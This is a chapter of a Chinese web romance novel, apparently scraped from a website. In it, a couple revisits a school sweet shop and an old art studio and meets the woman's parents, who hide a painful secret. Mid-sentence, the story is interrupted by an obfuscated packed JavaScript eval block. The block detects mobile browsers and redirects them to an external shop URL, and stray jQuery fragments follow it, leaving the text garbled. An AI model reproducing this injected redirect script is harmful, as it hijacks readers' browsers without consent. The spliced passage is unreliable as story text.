30. 回望

作品:《只是认识的关系[破镜重圆]

    校门口正对着的那家甜品店依旧□□,在众多学生的支持下一直开到今天。


    “你好,一个葡萄布丁。”江初行熟练地走到柜台,指向那个几年过去变得更精致了的布丁。


    “今天怎么只吃一个,之前每次来不都是两份?”秦知微打趣道。


    “当然是因为今天不需要动脑子啊,之前做数学题消耗太大了,不吃两个的话我会疯掉的!”


    男人接过盘子,还没走到座位,已经挖了一大勺送进嘴里。


    “就是这个味道,久违了我的小葡萄……”


    秦知微望着他夸张的表情,撇撇嘴:“真有那么好吃吗?”


    “对啊,就是很好吃,不一样的、世间独一份的好吃!”


    秦知微哼了一声,知道他故意激自己,扭过头不再看他。


    “看看我嘛,我一会儿带你去个地方,绝对有惊喜!”


    女人挑了挑眉,“真的?”


    江初行重重点头,还沾着奶油的嘴角勾起神秘的微笑。


    地面升腾起模糊的热气,抬头便是繁茂的梧桐叶,日光映照下的绿影摇曳,斑驳光点洒落,构筑起一层生机盎然的屏障。


    看着越发熟悉的街景,秦知微渐渐明白过来不对劲,这分明是回自己家的路!


    她急忙捞过江初行的胳膊,把人拽进旁边的小巷,目光不善:“你要干嘛!”


    后者茫然地眨了眨眼,指着自己:“我要干嘛?”


    见你鬼鬼祟祟四处张望,江初行终于领会到你的想法,轻笑一声,反手把你拉了出去。


    “我只是带你回旧画室看看,你难道不想知道那里现在什么样子?”


    哦对,他之前在这边画画来着,秦知微一拍脑门,想起来了。


    “这个画室你还租着?我还以为早就搬空了呢。”


    事实证明,她的猜想大错特错!


    推开门,画室的装潢、摆设,甚至飘向窗外的窗帘都和先前一模一样,预想中的灰尘漫天也并没有发生,地板和柜子上一尘不染,就像依然有人每天中午偷溜过来画画一样。


    “高考结束后,我总想着也许有一天我们还会回到这里,所以雇了人定期来这里打扫卫生。怎么样,没变吧?”


    正要回答,女人的目光却被一个从没见过的盒子吸引,走到架子前,把它端了下来。


    “确实和以前一样,不过这是什么,你准备的惊喜?”


    说话间,盒子已经被打开,看清里面东西的霎时间,女人瞳孔因惊讶而颤抖、放大。


    “这是?”


    里面是厚厚一摞画稿,每一张上面画得都差不多,秦知微把它们举在手里,朝男人晃了晃。


    她一张张地翻着,有记笔记的她、有拄着脸写作业的她,还有做值日时溅了一身水的她……


    “从我们吵架到我离开今陵,一共过去了195天,除了高考的三天之外,我每天都会画一幅画,所以这里一共有192个不同的‘秦知微’。”


    江初行从她手里接过这一摞画,盯着自己尚且稚嫩的画技,摇了摇头。


    “那你这次可要收好了!再被风吹到楼下,可不会有我这么好说话的人在下面接着。”


    似乎这一整天遇到的惊喜太多,秦知微已经没什么想要流泪的欲望,心头的百转情绪到如今已经被满满的幸福感占据,不容许丝毫负面情绪争锋。


    盒子还是被留在了旧画室,像一个不需要埋藏,随时都可以重温的时间胶囊,保管了那段青涩岁月所有的小心思。


    两人脚步轻快地跑下楼,站在楼下的空地,复现往日情景。


    “呀!楼下竟然有人,太坏了吧!”江初行浮夸地捂住嘴,大喊着跑过来。


    秦知微倒是没哭,只环抱双臂,无动于衷地立在原地。


    “天呐!怎么哭了!你不要哭了,你一哭我的心都要碎碎了!”


    不敢相信对方怎么能说出这么肉麻的话,秦知微搓了搓胳膊,捶向他肚子。


    “心碎碎?我还恶心心呢!”


    两个人互相戳来戳去,笑闹着往小区外走,完全没注意到不远处有道身影,早已驻足原地,旁观了半天。


    “微微?你怎么回来了?”


    听到熟悉的声音和语气,秦知微的动作猛地定住,像是上世纪的定格动画,一卡一卡地回头望向说话那人。


    江初行只觉得耳熟,瞥了一眼,一时没想起来是谁,正盯着对方打量呢,忽然听到身边人的喊声。


    “爸!”秦知微把男人大力推向一边,自己则是飞身跑向一身钓鱼装备的父亲。


    “爸?”江初行在飞出去时惊诧地叫着。


    一定是幻觉的对吧……


    这一刻,不止秦知微和江初行二人,秦忠义也想告诉自己,这只是他钓鱼中暑之后出现的幻觉。


    可惜,天不遂人愿,都是真的。


    “行了,那就留下来吃饭吧,我正好买了排骨,做你和你妈最喜欢吃的糖醋小排。”


    说着,秦父一挥手,示意他们走在前面。


    不知道是不是他的错觉,一路上,江初行总能感受到一道灼热的目光落在自己背后,快要把他洞穿,这下他可算理解了什么叫做“如芒在背”。


    而秦知微则是正头脑风暴,打了一版版草稿,又很快否决。


    就说是节目需要的约会?可是都没有跟拍欸。


    偶遇好像也行?不行不行,太巧合了。


    想着想着,到家了。


    被江初行偷偷戳了一下,秦知微才慌忙掏出钥匙,打开了门。


    “哟,今天回来真是晚了,干什么去了呀?”


    门刚开一个小缝,卫容的声音就飘了出来。


    沙发上坐着的她,听到门响,起身迎来,却没料到门外竟然多了两个人。


    秦母虽不明情况,但深知没有让客人站在外面的道理,拿出双一次性拖鞋,侧身把三人迎了进来。


    老旧小区,走廊灯光昏暗,看不真切,等人进门,秦母便各种观察,仔细端详了男人的脸之后,稍一回忆,眼前成熟的面孔与一张稚嫩未脱的脸重合。


    “是……小江吧?”


    许久不曾见过的人突然出现在眼前,卫容还真有点不敢认,试探着问道。


    “对的卫阿姨,没想到您还记得我呀!好久不见了,您最近一切都还好吧……”


    秦知微目瞪口呆地看着男人像是切换了个人格,浑身全然不见方才和她爸接触的紧绷,取而代之的是不似作伪的放松。


    见状,提着鱼经过的秦父不咸不淡地冷哼一声,男人的谈笑声戛然而止。


    秦母瞪了一眼,扭头笑着跟江初行说:“没事没事,不用理他,咱们说咱们的。你和我家微微这是……”


    男人脸上发烫,很快覆上一层绯红,音量不自觉放


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17354587|197790||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    小,轻声答着:“其实现在刚刚和好没多久,还没有进一步发展。”


    说完,江初行用余光偷瞄话题中的另一位主角,对方捧着秦叔叔刚给她剥的橘子,正似笑非笑地看着自己。


    意识到对方肯定是听见了他说什么才这副表情,江初行扭着脑袋不看她,可耳垂已然红得快滴出血来。


    其实秦知微也纳闷,明明之前她妈妈也没这样,怎么今天这么高兴,总不能是突然合眼缘了吧?


    秦母将两个人间的眉来眼去尽收眼底,欣慰地笑了笑,把自家女儿喊来陪客人聊天,自己转头进了厨房处理丈夫带回来的鱼。


    正刮着鱼鳞,水滴随着她的动作落下,没入鱼身。


    刚刚走进来的秦父默默把她手中的刀接过,递了张纸巾过去。


    “闺女好不容易快要走出来了,是好事,别哭了,让她看见会多心的。”


    此话一出,眼泪非但没能止住,反而流得更凶了。


    “我就是怕,我怕万一哪天她想起来了,受不了该怎么办呐!”


    秦父也长长吐出一口气,脊背弯了弯,伸手揽住妻子的肩膀,靠在一起平复了会儿心情,卫容将脸上的眼泪擦掉,勉强挂上笑脸,出来招呼外面的两人。


    秦知微见不得她妈妈对江初行殷切的样子,连她都被冷落了,走到厨房看看有没有什么能偷吃的东西。


    趁着这个工夫,江初行抿了抿唇,轻声问道:“卫阿姨,请问您知不知道什么是‘系统’?”


    原本还笑意盈盈的妇人陡然变了脸色,嘴唇颤抖着,半天说不出话来,眼中闪过一丝纠结。


    “微微已经找了这个真相九年,我不想她以后还是为了这些活在痛苦和迷茫中,她也该停下来歇一歇了。如果您知道什么的话,能不能恳请您告诉我?”


    所有的纠结和犹豫化为一抹苦涩,浮现在卫容脸上,她笑了,却并不开心,像被什么重物压得喘不过气来。


    “微微,下楼去买点姜,家里没有了!”她扭头朝着厨房里觅食的女儿喊道。


    离家最近的生鲜超市也要走十分钟,秦知微鼓了鼓嘴,不想自己一个人去,求助的目光投向沙发上的男人,可对方却视若无睹,沉默地扒着橘子。


    无奈之下,秦知微只好独自前往,临走时重重地敲着手机屏幕上的键盘,沙发上响起好几声消息提示。


    大门关上,江初行放下手里的东西,秦父也主动走了出来,坐在沙发的另一端,不说话。


    “小江,阿姨知道你是个好孩子,也知道你喜欢我们家微微,所以阿姨希望你能帮我们保守住这个秘密好吗?”卫容的声音软下来,带着乞求。


    江初行忽然有些不敢听,到底是什么样的事情,值得眼前这位长辈用这样的语气跟自己说话。


    可是他来问秦阿姨,本就是为了让微微知道真相,如果他答应下来,那对她又何尝不是一种不公平呢?


    一时之间,气氛冷下来,只听得见卫容的啜泣。


    “小江啊,真不是我们瞒着她,我们真是怕她接受不了这个对她来说尤为残酷的现实,我们害怕,我们不敢赌。”


    一句话的时间,秦父却像苍老了好几岁,背佝偻下去,仿佛抽干了所有力气。


    “好……我答应你们。”


    最终,江初行叹息着垂下头,没有勇气去看二老的眼睛。


    他还是会告诉她的,他想着。